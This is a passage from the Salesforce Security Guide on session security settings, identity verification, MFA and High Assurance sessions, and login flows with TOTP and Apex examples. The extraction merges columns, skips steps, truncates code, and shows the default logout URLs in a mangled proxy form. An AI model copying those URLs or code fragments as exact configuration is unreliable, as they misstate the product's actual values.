Login IP Ranges (for Contact Manager, Group, and Specifies a range of IP addresses users must log in from (inclusive), or the login
Professional Editions) fails.
To specify a range, click New and enter a Start IP Address and End IP Address
to define the range, which includes the start and end values.
This field is not available in Enterprise, Unlimited, Performance, and Developer
Editions. In those editions, you can specify a valid Login IP Range in the user
profile settings.
Enable caching and autocomplete on login page Allows the user’s browser to store usernames. If enabled, after initial login,
usernames are auto-filled into the Username field on the login page. If the
user selected Remember me on the login page, the username persists after
the session expires or the user logs out. The username also appears on the
Switcher. This setting is selected by default for all orgs.
Enable secure and persistent browser caching to Enables secure data caching in the browser to improve page reload
improve performance performance by avoiding extra round trips to the server. This setting is selected
by default for all orgs.
Enable user switching Determines whether the Switcher appears when your org’s users select their
profile picture. This setting is selected by default for all orgs. The Enable caching
30
Salesforce Security Guide Configure User Authentication
Field Description
and autocomplete on login page setting must also be enabled. Deselect the
Enable user switching setting to prevent your org from appearing in Switchers
on other orgs. It also prevents your org users from seeing the Switcher when
they select their profile picture.
Remember until logout Normally, usernames are cached only while a session is active or if a user
selects Remember Me. The remember option isn't available for SSO sessions.
When the session expires, the username disappears from the login page and
the Switcher. By enabling Remember me until logout, the cached usernames
are deleted only if the user explicitly logs out. If the session times out, they
appear on the Switcher as inactive. This way, if the users are on their own
computer and allow a session to time out, they can select the username to
reauthenticate. If they're on a shared computer, the username is deleted
immediately when the user logs out.
This setting applies to all your org’s users. This option isn't enabled by default.
However, we encourage you to enable it as a convenience to your users. Keep
this setting disabled if your org doesn't expose all your SSO or authentication
providers on your login page.
Enable Content Delivery Network (CDN) for Allows users to load Lightning Experience and other apps faster by enabling
Lightning Component framework Akamai’s content delivery network (CDN) to serve the static content for
Lightning Component framework. A CDN generally speeds up page load time,
but it also changes the source domain that serves the files. If your company
has IP range restrictions for content served from Salesforce, test thoroughly
before enabling this setting. CDNs improve the load time of static content by
storing cached versions in multiple geographic locations. This setting turns
on CDN delivery for the static JavaScript and CSS in the Lightning Component
framework. It doesn’t distribute your org’s data or metadata in a CDN.
Let users verify their identity by text (SMS) Allows users to receive an identity verification code in a text message. Users
must verify their phone number before they can receive identity verification
codes by text. This setting is enabled by default for all orgs. A verification code
is valid for 24 hours. If the code isn’t used during that time, you can generate
a new verification code by reinitializing initSelfRegistration.
To disable SMS as a method of verification, contact Salesforce support. The
email method of identity verification can't be disabled.
Prevent identity verification by email when other Allows users to get verification codes by email only if no other identity method
methods are registered has been verified. Other verification methods include Salesforce Authenticator,
SMS, time-based one-time password (TOTP), and physical key (U2F). This
setting is enabled by default for all orgs. A verification code is valid for 24
hours. If the code isn’t used during that time, you can generate a new
verification code by reinitializing initSelfRegistration.
Require security tokens for API logins from callouts Requires the use of security tokens for API logins from callouts in API version
(API version 31.0 and earlier) 31.0 and earlier. Examples are Apex callouts or callouts using the AJAX proxy.
In API version 32.0 and later, security tokens are required by default.
31
Salesforce Security Guide Configure User Authentication
Field Description
Let users verify their identity with a physical security Permits the use of a U2F security key for multi-factor authentication (MFA)
key (U2F) and identity verification. Instead of using Salesforce Authenticator, one-time
passwords generated by an authenticator app, or one-time passwords sent
by email or SMS, users insert their registered U2F security key into the
appropriate port to complete verification.
Let users authenticate with a certificate Enables certificate-based authentication to use PEM-encoded X.509 digital
certificates to authenticate individual users to your org.
Require identity verification during multi-factor Requires users to confirm their identities before adding an MFA verification
authentication (MFA) registration method, such as Salesforce Authenticator, instead of requiring a relogin as
before.
Require identity verification for email changes Requires users to log in again and confirm their identity before their email
address change takes effect. Users verify their identity using a registered
verification method, such as Salesforce Authenticator, SMS, or email.
Require email confirmations for email address Requires external users to confirm that they own the new email address. When
changes (applies to external users in Experience users change their email address, they receive an email at the new email
Builder sites) address with a link. After they click the link, their new email address takes
effect. Email confirmations are enabled by default for orgs created in Winter
’20 and later. For orgs created before Winter ’20, Salesforce recommends that
you enable this option as a security precaution. This option doesn’t apply to
employees.
Let Salesforce Authenticator automatically verify Allows Salesforce Authenticator to use the phone's location services to verify
identities using geolocation a user's identity. If users approve the location, they aren't prompted for their
identity when at that location. If the location is not approved, or if users are
outside the trusted location, they're prompted to verify their identity.
Let Salesforce Authenticator automatically verify Allows Salesforce Authenticator to use trusted IP ranges to verify a user’s
identities based on trusted IP addresses only identity. When users are located within trusted IP address ranges, they aren't
prompted to verify their identity. If users are outside the trusted IP address
range, they're prompted to verify their identity.
Prevent login from mobile user devices with Prevents a user with a revoked UserDevice from logging in from a Salesforce
revoked status app. Logins from browsers aren’t affected.
Allow Lightning Login Permits the use of Lightning Login to log in to Salesforce with Salesforce
Authenticator instead of a password.
Allow only for users with the Lightning Login User Allows users to use Lightning Login to log in to Salesforce with Salesforce
permission Authenticator instead of a password when the Lightning Login user permission
is enabled.
32
Salesforce Security Guide Configure User Authentication
Field Description
Enable clickjack protection for Setup pages Protects against clickjack attacks on setup Salesforce pages. Clickjacking is
also known as a user interface redress attack. (Setup pages are available from
the Setup menu.)
Enable clickjack protection for non-Setup Salesforce Protects against clickjack attacks on non-setup Salesforce pages. Clickjacking
pages is also known as a user interface redress attack. Setup pages already include
protection against clickjack attacks. (Setup pages are available from the Setup
menu.) This setting is selected by default for all orgs.
Enable clickjack protection for customer Visualforce Protects against clickjack attacks on your Visualforce pages with headers
pages with standard headers enabled. Clickjacking is also known as a user interface redress attack.
Also allows iframes on trusted external domains. To enable this feature, add
external domains where you allow framing under Trusted Domains for Inline
Frames.
Enable clickjack protection for customer Visualforce Protects against clickjack attacks on your Visualforce pages with headers
pages with headers disabled disabled when setting showHeader="false" on the page. Clickjacking
is also known as a user interface redress attack.
Also allows iframes on trusted external domains. To enable this feature, add
external domains where you allow framing under Trusted Domains for Inline
Frames.
Enable CSRF protection on GET requests on Protects against Cross Site Request Forgery (CSRF) attacks by modifying
non-setup pages non-Setup pages. Non-Setup pages include a random string of characters in
the URL parameters or as a hidden form field. With every GET and POST request,
Enable CSRF protection on POST requests on
the application checks the validity of this string of characters. The application
non-setup pages
doesn’t execute the command unless the value found matches the expected
value. This setting is selected by default for all orgs.
Enable Stricter Content Security Policy The Lightning Component framework uses Content Security Policy (CSP), the
W3C standard to control the source of content that can be loaded on a page.
The Enable Stricter Content Security Policy setting was introduced in the
Winter ‘19 release to prohibit the use of the unsafe-inline source for
the script-src directive. The setting mitigates the risk of cross-site
scripting attacks and was enabled by default. In the current release, this setting
is always enabled and unsafe-inline is always prohibited, even if this
setting appears to be disabled. We plan to remove the setting from Session
Settings in a future release, as the restriction on unsafe inline JavaScript is
always enforced.
Lightning Locker API Version Sets the API version for Lightning Locker compatibility for all Lightning
components that don't specify an API version. Lightning Locker enhances
security with each version, so we recommend updating your custom
components to comply with the latest. If you’re unable to update them right
away, or require a managed package that’s incompatible with the latest, you
can temporarily select an earlier, compatible API version.
33
Salesforce Security Guide Configure User Authentication
Field Description
XSS protection Protects against reflected cross-site scripting attacks. If a reflected cross-site
scripting attack is detected, the browser shows a blank page with no content.
Content Sniffing protection Prevents the browser from inferring the MIME type from the document
content. It also prevents the browser from executing malicious files (JavaScript,
Stylesheet) as dynamic content.
Referrer URL Protection When loading pages, the referrer header shows only Salesforce.com rather
than the entire URL. This feature eliminates the potential for a referrer header
to reveal sensitive information that could be present in a full URL, such as an
org ID. This feature works only for Chrome and Firefox.
HSTS for Sites and Communities Requires HTTPS on communities and Salesforce Sites.
Note: This setting must be enabled in two locations: Enable HSTS for
Sites and Communities in Session Settings. Enable Require Secure
Connections (HTTPS) in the community or Salesforce Site security
settings. See Creating and Editing Salesforce Sites.
Warn users before they are redirected outside of Displays a warning message when users click links that take them outside the
Salesforce salesforce.com domain. The warning message includes the full link to the
external URL and the domain name. Use this feature to protect your users
from malicious URLs and phishing. In Lightning Experience, the warning
message applies only to web tabs.
Logout URL Redirects users to a specific page after they logout of Salesforce, such as an
authentication provider’s page or a custom-branded page. This URL is used
only if no logout URL is specified in the identity provider, SAML single sign-on,
or external authentication provider settings. If no value is specified for Logout
URL, the default is https://login.salesforce.com, unless
MyDomain is enabled. If My Domain is enabled, the default is
https://customdomain.my.salesforce.com.
Link expires in Specifies how long the account verification link in welcome emails to new
users is valid. You can select 1, 7, or 180 days. By default, account verification
links expire after 7 days.
When you update this setting, the change applies to links in welcome emails
that were already sent. For example, you added a user and sent a welcome
email two days ago when links expired in seven days. If you update the setting
so that links expire in one day, the link in the email you sent two days ago is
no longer valid.
3. Click Save.
34
Salesforce Security Guide Configure User Authentication
Delegated Authentication Standard Users log in by providing a username and a password that
is validated using a callout to a delegated authentication
endpoint.
Activation Standard Users verify their identity when accessing Salesforce from
a new browser or device.
Authentication Provider Standard Users log in to Salesforce using their login credentials from
an external service provider.
SAML Standard Users are authenticated using the SAML protocol for single
sign-on.
35
Salesforce Security Guide Configure User Authentication
Warning: Raising the session level to High Assurance by redirecting the user to complete multi-factor authentication is not a
supported action in Lightning Experience. If your org enabled Lightning Experience, and you set a policy that requires a High
Assurance session to access reports and dashboards, Lightning Experience users with a standard session are blocked from reports
and dashboards. Also, they don’t see the icons for these resources in the navigation menu. As a workaround, users with a Standard
Assurance session can log out and log in again using an authentication method that is defined as High Assurance for their org.
Then they can access reports and dashboards. Or, they can switch to Salesforce Classic, where they’re prompted to raise the session
level when they attempt to access reports and dashboards.
To require High Assurance when accessing a connected app:
1. From Setup, enter Connected Apps in the Quick Find box, then select the option for managing connected apps.
2. Click Edit next to the connected app.
3. Select High Assurance session required.
4. Select one of the actions presented.
5. Click Save.
To require a High Assurance policy when accessing reports and dashboards:
1. From Setup, enter Access Policies in the Quick Find box, then select Access Policies.
2. Select High Assurance session required.
3. Select one of the actions presented.
4. Click Save.
Note: You also can set the High Assurance requirement for reports and dashboards on the Identity Verification page. For more
information, see Require High Assurance Session Security for Sensitive Operations.
Session levels have no impact on resources in the app other than connected apps, reports, and dashboards, for which explicit security
policies have been defined.
36
Salesforce Security Guide Configure User Authentication
Define Identity Verification Settings for Your Orgs and Experience Cloud Sites
Define how and when users are prompted to verify their identity for an entire org or Experience
EDITIONS
Cloud site. For example, determine whether users can verify their identity through email, text
messages, or certificates. Available in: all editions
These identity verification settings are also available on the Session Settings page. You can change
the settings in either location. In addition to these settings, you can send async email verifications
USER PERMISSIONS
to ensure that users are registered with a valid email address. See Verify Email Addresses with Async
Email To modify identity verification
1. In Setup, enter Identity in the Quick Find box, and then click Identity Verification. settings:
• Customize Application
2. Customize the identity verification settings, and then click Save.
Field Description
Let users verify their identity by text (SMS) Allows users to receive an identity verification
code in a text message. Users must verify their
phone number before they can receive
identity verification codes by text. This setting
is enabled by default for all orgs. A verification
code is valid for 24 hours. If the code isn’t used
during that time, you can generate a new
verification code by reinitializing
initSelfRegistration.
To disable SMS as a method of verification,
contact Salesforce support. The email method
of identity verification can't be disabled.
Prevent identity verification by email when Allows users to get verification codes by email
other methods are registered only if no other identity method has been
verified. Other verification methods include
Salesforce Authenticator, SMS, time-based
one-time password (TOTP), and physical key
(U2F). This setting is enabled by default for all
orgs. A verification code is valid for 24 hours.
If the code isn’t used during that time, you
can generate a new verification code by
reinitializing initSelfRegistration.
Require security tokens for API logins from Requires the use of security tokens for API
callouts (API version 31.0 and earlier) logins from callouts in API version 31.0 and
earlier. Examples are Apex callouts or callouts
using the AJAX proxy. In API version 32.0 and
later, security tokens are required by default.
Let users verify their identity with a physical Permits the use of a U2F security key for
security key (U2F) multi-factor authentication (MFA) and identity
verification. Instead of using Salesforce
Authenticator, one-time passwords generated
by an authenticator app, or one-time
37
Salesforce Security Guide Configure User Authentication
Field Description
passwords sent by email or SMS, users insert their registered U2F
security key into the appropriate port to complete verification.
Let users authenticate with a certificate Enables certificate-based authentication to use PEM-encoded
X.509 digital certificates to authenticate individual users to your
org.
Require identity verification during multi-factor authentication Requires users to confirm their identities before adding an MFA
(MFA) registration verification method, such as Salesforce Authenticator, instead of
requiring a relogin as before.
Require identity verification for email changes Requires users to log in again and confirm their identity before
their email address change takes effect. Users verify their identity
using a registered verification method, such as Salesforce
Authenticator, SMS, or email.
Require email confirmations for email address changes (applies Requires external users to confirm that they own the new email
to external users in Experience Builder sites) address. When users change their email address, they receive an
email at the new email address with a link. After they click the
link, their new email address takes effect. Email confirmations
are enabled by default for orgs created in Winter ’20 and later.
For orgs created before Winter ’20, Salesforce recommends that
you enable this option as a security precaution. This option
doesn’t apply to employees.
Let Salesforce Authenticator automatically verify identities using Allows Salesforce Authenticator to use the phone's location
geolocation services to verify a user's identity. If users approve the location,
they aren't prompted for their identity when at that location. If
the location is not approved, or if users are outside the trusted
location, they're prompted to verify their identity.
Let Salesforce Authenticator automatically verify identities based Allows Salesforce Authenticator to use trusted IP ranges to verify
on trusted IP addresses only a user’s identity. When users are located within trusted IP address
ranges, they aren't prompted to verify their identity. If users are
outside the trusted IP address range, they're prompted to verify
their identity.
Prevent login from mobile user devices with revoked status Prevents a user with a revoked UserDevice from logging in from
a Salesforce app. Logins from browsers aren’t affected.
SEE ALSO:
Modify Session Security Settings
Require High-Assurance Session Security for Sensitive Operations
38
Salesforce Security Guide Configure User Authentication
Note: You can’t block users from accessing the setup areas controlled by the Manage Permission Sets and Profiles or Manage
Users settings.
SEE ALSO:
Define Identity Verification Settings for Your Orgs and Experience Cloud Sites
Modify Session Security Settings
39
Salesforce Security Guide Configure User Authentication
Note: You can’t apply login flows to API logins or when sessions are passed to the UI through frontdoor.jsp from a non-UI
login process.
40
Salesforce Security Guide Configure User Authentication
IN THIS SECTION:
Create a Login Flow with Flow Builder
Use the point-and-click Flow Builder to create a login flow declaratively. With this tool, you create a screen flow—a collection of
screens and connectors that step users through a business process when they log in.
Create a Custom Login Flow with Visualforce
Use Visualforce and an Apex controller to create a custom login flow programmatically. With Visualforce, you have complete control
over how your login page looks, behaves, and directs users after they complete the flow. You can design your login page from scratch
and control every pixel of the page.
SEE ALSO:
Login Flow Examples
41
Salesforce Security Guide Configure User Authentication
Here’s an example of a Visualforce Page login flow. The user clicks a button to invoke the finishLoginFlow method. Specify
showHeader=”false” for the login flow to work correctly.
//finish the login flow and send you to the startUrl (account page in this case)
return Auth.SessionManagement.finishLoginFlow('/001');
}
//finish the login flow and send you the default homepage
return Auth.SessionManagement.finishLoginFlow();
}
}
Give access to each profile that you want to associate with this Visualforce Page.
1. From Setup, enter Visualforce in the Quick Find box, then select Visualforce Page.
2. Next to the Visualforce page that you want to use, click Security.
3. From the list of available profiles, add the profiles that you want to associate with this login flow.
4. From Setup, designate the Visualforce page as a login flow, and connect the profiles to it. See Set Up a Login Flow and Connect to
Profiles.
42
Salesforce Security Guide Configure User Authentication
4. Select the type of flow you created. Choose Flow if you created the flow with Flow Builder. Choose Visualforce Page if you created
the flow with Visualforce.
Note: For Visualforce Page login flows, make sure that the profiles you intend to associate with this login flow have access
to the Visualforce Page.
5. From the dropdown list of available flows, choose the appropriate login flow.
6. Select a user license for the profile that you want to connect to the login flow.
7. From the list of available profiles for this license, select the profile to associate with this login flow.
8. If you want the login flow to resemble the Lightning Experience UI, select Render Flow in Lightning Runtime. If you don’t select
this option, the login flow resembles Salesforce Classic.
Note: A login flow is independent of which UI users use: Lightning Experience or Salesforce Classic. You can set a login flow
to resemble Lightning Experience even if users log in to Salesforce Classic. Likewise, you can set a login flow to resemble
Salesforce Classic even if users log in to Lightning Experience.
9. Click Save.
After you connect the login flow, you can edit or delete it from the Login Flows Setup page.
43
Salesforce Security Guide Configure User Authentication
2. Display the numbers, and ask the user to confirm or update them.
3. Update the user object with new numbers, if provided.
44
Salesforce Security Guide Configure User Authentication
• LoginFlow_ForceLogout (type Boolean)—When this variable is set to true, the user is immediately logged out.
3. On the Manager tab, click New Resource to create a record variable to store values from the user.
4. Add a Get Records element to look up the user who’s trying to log in.
5. Specify the user fields that you want to store in the variable, for example, Phone and MobilePhone.
45
Salesforce Security Guide Configure User Authentication
6. Create a welcome screen to ask the user to confirm the phone numbers on file.
7. To set a default value for each Phone component in the screen, set Value to the appropriate field on the {!user} record variable. For
Phone, that’s {!user.Phone}. For Mobile Phone, that’s {!user.mobilePhone}.
8. To store the user’s entry for each Phone component, set Value in the component’s Store Output Values section to the same field
as in the previous step.
46
Salesforce Security Guide Configure User Authentication
9. Add an Update Records element that uses the values in the {!user} record variable to update the user’s phone numbers. Since you
stored each Phone screen component’s outputs in fields on the {!user} record variable, the flow uses those values to update the user.
47
Salesforce Security Guide Configure User Authentication
12. Connect the login flow to a user profile. Best practice is to create a dedicated test user with a test profile.
Note: Don’t associate a login flow with your administrator profile until you’re sure that the login flow works properly. Otherwise,
if it fails, you can’t log in to your org.
13. Log out, and then log in as the test user to test the flow.
When you test the Welcome Flow example, here’s how it looks using Lightning Experience.
48
Salesforce Security Guide Configure User Authentication
You can enhance this flow and customize the user experience by adding a corporate logo and corporate colors. You can even add and
enforce different policies. For example, you can build an IP-based MFA process that requires a second authentication factor only when
the IP address is outside of a certain range.
This example uses the TwoFactorInfo object and the Auth.SessionManagement Apex class to customize and manage the
standards-based TOTP multi-factor authentication that Salesforce supports.
1. Look up the TwoFactorInfo object for the current user. If the user isn’t registered, generate a key.
2. Determine whether the user is already registered with TOTP.
3. If the user is already registered, prompt the user to provide the TOTP token.
4. If the user isn’t registered, prompt the user to register with a QR code and provide the TOTP token.
5. Validate the TOTP token. If the token is valid, the login flow finishes, and the user logs in.
6. If the TOTP token is invalid, send the user back to step 2.
49
Salesforce Security Guide Configure User Authentication
2. To generate a new secret for users that aren’t already registered with a TOTP, drag an Apex Action (Legacy) element onto the canvas,
and select the TOTPPlugin legacy Apex action.
Apex actions are Apex classes that extend the standard functionality of a flow. You can use an Apex action to do a complex calculation,
make API calls to external services, and more.
TOTPPlugin accesses the Salesforce TOTP methods, generates a time-based secret key with a QR code, and validates the TOTP. The
Apex class for TOTPPlugin is available in the login flow sample package.
The legacy Apex action has these input parameters.
• OTP_INPUT–The TOTP token that the user provides.
• OTP_REGISTRATION_INPUT–The TOTP token that the user provides when first registering.
• SECRET_INPUT–The secret key used to generate the TOTP.
It returns the following output values.
50
Salesforce Security Guide Configure User Authentication
The secret key and URL for the QR code are stored in the qr_url and secret variables.
51
Salesforce Security Guide Configure User Authentication
5. Configure the Registration screen. Ask the user to scan the QR code, initialize the TOTP client application, and enter the TOTP token.
52
Salesforce Security Guide Configure User Authentication
6. To validate the TOTP token that the user enters, configure another instance of the TOTPPlugin legacy Apex action.
The TOTPPlugin legacy Apex action supports both of these use cases.
• The user comes from the Registration screen. The user has to scan the QR code and provide the TOTP token. Both the TOTP
token and secret are passed to TOTPPlugin for validation. TOTPPlugin validates the TOTP token against the secret. If valid, the
secret is registered on the user record and used for future logins.
• The user comes from the Get Token screen. The user is already registered and provides only the TOTP. The TOTP token is passed
via the TokenInput parameter to TOTPPlugin for validation.
The isTokenValid parameter returns the validation status, which is then stored in the isTokenValid flow variable.
53
Salesforce Security Guide Configure User Authentication
7. Determine whether to log in the user by configuring another Decision element with two possible outcomes.
• If IsTokenValid is true, the token is valid.
• Otherwise, the token is invalid.
If the validation succeeds, the user proceeds to the end of the flow, clicks to the next step, and logs in to the application. If the
validation fails, the flow redirects the user back to step 2 in the flow. In step 2, a registered user is asked to provide a new TOTP token.
If the user isn’t yet registered, the user is asked to register and provide a new TOTP token.
9. Save the login flow, activate it, and connect it with a user profile.
54
Salesforce Security Guide Configure User Authentication
• Conditional Multi–Factor–Skip multi-factor authentication for users who come from a trusted IP address.
• Device Activation–Confirm the user identity using email or multi-factor authentication.
• Accept Terms of Service–Ask the user to agree to terms before continuing.
SEE ALSO:
Deploy Third-Party, SMS-Based Multi-Factor Authentication
Limit the Number of Concurrent Sessions with Login Flows
Custom Login Flows
YubiKey for salesforce.com
Note: Two-factor authentication by SMS is a less secure option, and is available to use only with Experience Cloud users. Contact
Salesforce Customer Support to enable.
The Salesforce Authenticator mobile app (version 2 and later) sends a push notification to the user’s mobile device when the Salesforce
account requires identity verification or MFA. The user responds on the mobile device to verify or block the activity. The user can enable
location services for the app and automate verifications from trusted locations, such as a home or office. Salesforce Authenticator also
generates verification codes, also called time-based one-time passwords (TOTPs). Users can choose to enter a password plus the code
instead of responding to a push notification from the app for two-factor verification. Or they can get a verification code from another
authenticator app.
If users lose or forget the device they usually use for MFA, you can generate a temporary verification code for them. You set when the
code expires, from 1 to 24 hours after you generate it. Your user can use the code multiple times until it expires. A user can have only
one temporary code at a time. If a user needs a new code while the old code is still valid, you can expire the old code, then generate a
new one. Users can expire their own valid codes in their personal settings.
55
Salesforce Security Guide Configure User Authentication
Warning: If Multi-Factor Authentication is in the Standard column, users get an error if they try to log in with a verification
method that grants standard-level security.
Only authentication flows that include a user approval step support using API logins with the High Assurance session security level.
These flows are the OAuth 2.0 refresh token flow, web server flow, and user-agent flow. All other flows, such as the JSON Web Token
(JWT) bearer token flow, don’t include a user approval step. For flows without a user approval step, API logins with the High Assurance
session security level are blocked.
It’s possible that users are prompted to verify their identity with multi-factor authentication twice during the OAuth approval flow.
The first challenge occurs in the UI session. The second challenge happens when the access token is bridged into the UI. This second
challenge is triggered because the High Assurance session security level isn’t transferred to the access token.
• Use login flows. Use Flow Builder and profiles to build post-authentication requirements as the user logs in, including custom MFA
processes. For more information, see the following examples.
– Login Flow Examples
– Deploy Third-Party SMS-Based Multi-Factor Authentication
IN THIS SECTION:
Set Multi-Factor Authentication Login Requirements
Set multi-factor authentication (MFA) login requirements using profile policies and session settings. You can apply MFA requirements
to all Salesforce user interface authentication methods. These methods include username and password, delegated authentication,
SAML single sign-on (SSO), and social sign-on (SSO using an external authentication provider). You can also enable MFA requirements
for Salesforce orgs and Experience Cloud site.
Set Multi-Factor Authentication Login Requirements for API Access
You can set the Multi-Factor Authentication for API Logins permission to use a second authentication challenge for API access to
Salesforce. API access includes the use of applications, like the Data Loader, and developer tools for customizing an organization or
building client apps.
Connect Salesforce Authenticator (Version 3 or Later) to Your Account for Identity Verification
The Salesforce Authenticator mobile app is a verification method that you can use as an additional authentication factor, in addition
to your username and password. Register the app to connect it to your Salesforce account so you can add an extra level of security.
Verify Your Identity with a TOTP Authenticator App
Register a third-party authenticator app, like Salesforce Authenticator or Google Authenticator, as a verification method for verifying
your identity. The app generates a verification code called a time-based one-time password (TOTP).
56
Salesforce Security Guide Configure User Authentication
SEE ALSO:
Multi-Factor Authentication
57
Salesforce Security Guide Configure User Authentication
Note: When multi-factor authentication is enabled for a site, admins can’t use the Log In As feature to access the site. See Create
Experience Cloud Users.
If users are logging in using an OAuth authorization flow, users can be prompted to verify their identity with multi-factor authentication
twice. The first challenge is on the UI session. The second challenge happens when the access token is bridged into the UI. The High
Assurance session security level can’t be transferred to the access token.
1. From Setup, enter Profiles in the Quick Find box, then select Profiles.
2. Select a profile.
3. Scroll to Session Settings, and find the Session security level required at login setting.
4. Click Edit, and select High Assurance.
5. Click Save.
6. From Setup, enter Session Settings in the Quick Find box, then select Session Settings.
58
Salesforce Security Guide Configure User Authentication
7. In Session Security Levels, make sure that Multi-Factor Authentication is in the High Assurance column.
If Multi-Factor Authentication is in the Standard column, users get an error when they log in with a method that grants standard-level
security.
Note: Consider moving Activation to the High Assurance column. With this setting, users who verify their identity from an
unrecognized browser or app establish a high-assurance session. When Activation is in the High Assurance column, profile
users who verify their identity at login aren’t challenged to verify their identity again.
Example: You configured Facebook and LinkedIn as authentication providers in your site. Many of your site members use social
sign-on to log in using the username and password from their Facebook or LinkedIn accounts. You want to increase security by
requiring customers to use multi-factor authentication when they log in with their Facebook account. You want users who log in
with their LinkedIn account to be automatically granted High Assurance access and bypass MFA.
• In the Customer Community User profile, set the session security level required at login to High Assurance.
• In your org’s session settings, edit the session security levels.
– Because you’re requiring MFA with Facebook accounts, make sure that Facebook is in the Standard column.
– Add Multi-Factor Authentication to the High Assurance column. When users log in with their Facebook account, they’re
required to provide a verification method in addition to their username and password.
– Add LinkedIn to the High Assurance column. When users log in with their LinkedIn account, they’re granted High Assurance
access without needing to provide a verification method.
Note: To initiate identity verification under specific conditions, you can use login flows to change the user’s session security
level. Login flows let you build a custom post-authentication process that meets your business requirements.
If users lose or forget the device they usually use for MFA, you can generate a temporary verification code for them. You set when the
code expires, from 1 to 24 hours after you generate it. Your user can use the code multiple times until it expires. A user can have only
one temporary code at a time. If a user needs a new code while the old code is still valid, you can expire the old code, then generate a
new one. Users can expire their own valid codes in their personal settings.
Note: The High Assurance profile requirement applies to user interface logins. OAuth token exchanges aren’t subject to the
requirement. OAuth refresh tokens that were obtained before a High Assurance requirement is set for a profile can still be exchanged
for valid API access tokens. Tokens are valid even if they were obtained with a standard-assurance session. To require users to
establish a high-assurance session before accessing the API with an external application, revoke existing OAuth tokens for users
with that profile. Then set a High Assurance requirement for the profile. Users must log in with MFA and reauthorize the application.
59
Salesforce Security Guide Configure User Authentication
Connect Salesforce Authenticator (Version 3 or Later) to Your Account for Identity Verification
The Salesforce Authenticator mobile app is a verification method that you can use as an additional
EDITIONS
authentication factor, in addition to your username and password. Register the app to connect it
to your Salesforce account so you can add an extra level of security. Salesforce Authenticator
1. Download and install the Salesforce Authenticator app (version 3 or later) for the type of mobile setup available in: both
device you use. Salesforce Classic and
Lightning Experience
• For iPhone, get the app from the App Store.
• For Android devices, get the app from Google Play. Mobile app available in:
Essentials, Group,
If you previously installed version 1 of Salesforce Authenticator on your mobile device, you can Professional, Enterprise,
update the app to version 3 through the App Store or Google Play. The update preserves any Performance, Unlimited,
connected accounts you already have in the app. These accounts are code-only accounts that Developer, and Contact
generate verification codes but don’t receive push notifications or allow location-based Manager Editions
automated verifications. If you have a code-only account for the username that you used for
your current login to Salesforce, swipe left in the app to remove that username before
proceeding. In the following steps, you connect the account for that username again. The new connected account gives you full
Salesforce Authenticator version 3 functionality. If you already have version 2 installed, version 3 updates are pushed out to you.
2. From your personal settings, enter Advanced User Details in the Quick Find box, then select Advanced User Details. No
results? Enter Personal Information in the Quick Find box, then select Personal Information.
3. Find App Registration: Salesforce Authenticator, and click Connect.
4. For security purposes, you’re prompted to log in to your account.
60
Salesforce Security Guide Configure User Authentication
7. Back in your browser, enter the phrase in the Two-Word Phrase field.
8. Click Connect.
If you previously connected an authenticator app that generates verification codes to your account, you sometimes see an alert.
Connecting a new version of the Salesforce Authenticator mobile app invalidates the codes from your old app. When you need a
verification code, get it from Salesforce Authenticator from now on.
9. In the Salesforce Authenticator app on your mobile device, you see details about the account you’re connecting. To complete the
account connection, tap Connect in the app.
To help keep your account secure, we send you an email notification whenever a new identity verification method is added to your
Salesforce account. You get the email whether you add the method or your Salesforce admin adds it on your behalf.
If your admin requires multi-factor authentication (MFA) for increased security when you log in or access reports or dashboards, use the
app to verify your account activity. If you’re required to use MFA before you have the app connected, you’re prompted to register it the
next time you log in to Salesforce. If you don’t yet have the MFA requirement, you can register the app at any time through your personal
settings.
After you connect the app, you get a notification on your mobile device when you do something that requires identity verification. When
you receive the notification, open the app on your mobile device, check the activity details, and respond on your mobile device to verify.
If you are notified about activity you don’t recognize, use the app to block the activity. You can flag the blocked activity for your Salesforce
admin. The app also provides a verification code that you can use as an alternate method of identity verification.
61
Salesforce Security Guide Configure User Authentication
Note: If you’re connecting Salesforce Authenticator so that you can use push notifications, use the App Registration:
Salesforce Authenticator setting instead. That setting enables both push notifications and one-time password
generation.
You can connect up to two authenticator apps to your Salesforce account for one-time password generation: Salesforce Authenticator
and one other authenticator app.
6. In Salesforce, enter the code generated by the authenticator app in the Verification Code field.
The authenticator app generates a new verification code periodically. Enter the current code.
7. Click Connect.
To help keep your account secure, we send you an email notification whenever a new identity verification method is added to your
Salesforce account. You get the email whether you add the method or your Salesforce admin adds it on your behalf.
SEE ALSO:
Salesforce Help: Personalize Your Salesforce Experience
62
Salesforce Security Guide Configure User Authentication
To disconnect a user’s
authenticator app:
• Manage Multi-Factor
Authentication in User
Interface
Your user can use the temporary verification code multiple times until it expires. Each user can have
only one temporary verification code at a time. If a user forgets or loses the code before it expires, you can manually expire the old code
and generate a new one. You can generate up to six codes per hour for each user.
Note: When you add an identity verification method to a user’s account, the user gets an email. To stop sending emails to users
when new identity verification methods are added to their accounts, contact Salesforce.
63
Salesforce Security Guide Configure User Authentication
1. From Setup, enter Users in the Quick Find box, then select Users. Available in: Essentials,
2. Click the name of the user whose temporary verification code you need to expire. Contact Manager, Group,
Professional, Enterprise,
3. Find Temporary Verification Code, and click Expire Now. Performance, Unlimited,
and Developer Editions
USER PERMISSIONS
64
Salesforce Security Guide Configure User Authentication
This example shows Apex code for multi-factor authentication using the Salesforce Authenticator.
public void initVerification() {
// user will receive push notification on mobile device where the app is registered
for MFA
identifier =
UserManagement.initVerificationMethod(Auth.VerificationMethod.SALESFORCE_AUTHENTICATOR);
}
The next two examples show Apex code for multi-factor authentication using only the verifyVerificationMethod for
password and TOTP verifications.
public Auth.VerificationResult verifyVerification() {
// user will enter their password as a param in the verifyVerificationMethod for
password verification method
return UserManagement.verifyVerificationMethod('', password ,
Auth.VerificationMethod.PASSWORD);
}
65
Salesforce Security Guide Configure User Authentication
66
Salesforce Security Guide Configure User Authentication
6. From the toolbox, open the Elements tab. Add a Get Records element to the canvas to look up the user who’s trying to log in.
67
Salesforce Security Guide Configure User Authentication
68
Salesforce Security Guide Configure User Authentication
new Process.PluginDescribeResult.InputParameter('Token',
Process.PluginDescribeResult.ParameterType.STRING, true),
new Process.PluginDescribeResult.InputParameter('To',
Process.PluginDescribeResult.ParameterType.STRING, true),
new Process.PluginDescribeResult.InputParameter('From',
Process.PluginDescribeResult.ParameterType.STRING, true),
new Process.PluginDescribeResult.InputParameter('Message',
Process.PluginDescribeResult.ParameterType.STRING, true)
};
return result;
try {
sms = client.getAccount().getSMSMessages().create(params);
result.put('Status', sms.getStatus());
